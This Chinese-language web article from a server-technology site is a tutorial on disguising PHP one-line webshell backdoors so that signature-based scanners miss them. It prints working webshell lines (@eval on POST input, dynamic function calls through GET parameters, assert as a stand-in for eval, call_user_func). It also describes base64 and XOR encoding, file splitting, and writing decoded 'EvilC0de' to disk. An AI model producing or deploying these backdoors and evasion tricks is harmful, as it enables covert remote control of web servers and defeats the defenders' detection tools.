服务器之家

专注于服务器技术!
当前位置:首页 > 服务器安全 > 安全工具

PHP一句话Webshell木马后门的变形和免杀技巧

发布时间:2017-01-11 来源:服务器之家

    0×00 前言

    大部分Webshell查杀工具都是基于关键字特征的,通常他们会维护一个关键字列表,以此遍历指定扩展名的文件来进行扫描,所以可能最先想到的是各种字符串变形,下面总结了一些小的方法,各种不足之前还请看官拍砖.

    0×01 字符串上的舞蹈

    一般标准的一句话Webshell是利用PHP的eval函数,动态执行其他函数功能.其标准的形式如下:

    @eval ($_POST[xxxxx]);

    很明显的eval会成为静态特征码Webshell扫描工具的关键字.加上一点小技巧,我们让其动态传入,或者利用base64等编码函数来进行绕过

    @$_GET[a]($_POST[xxxxx]);

    or @base64_decode(base64编码过的eval)

    当然,扫一眼PHP手册,玩转字符串的函数远不止这些,你可以写一个自定义加解密的函数,或者利用xor,字符串反转,压缩,截断重组等方法来绕过.

    另外大多数Webshell的查杀工具很少把assert函数加入到关键字列表中,不过随着使用的人越来越多也不是绝对的,我们也可以用assert替换eval来执行猥琐的功能.

    以前在ASP一句话Webshell的变形过程中,打乱和拆分文件也是非常常用的功能,这里也记一笔.用require,include等将字符串拆分再重组.或者将加密好的字符串单独放在任意扩展名文件中,利用解密函数读取文件来执行,这里写一个base64比较简单的例子

    file_put_contents(base64_decode(filepath+filename),base64_decode(EvilC0de));

    字符串的各种猥琐还是很多的,最致命的地方是,如果有基于语义分析的查杀工具露面(我印象中是有的)这些都完蛋 –__-!

    0×02 利用PHP函数的一些特性

    这一小段其实还是建立在玩转了字符串的基础上的,一个小例子

    if(key($_GET)==’xxxxxx’) call_user_func($_GET[xxx],$_POST[evil]);

热点推荐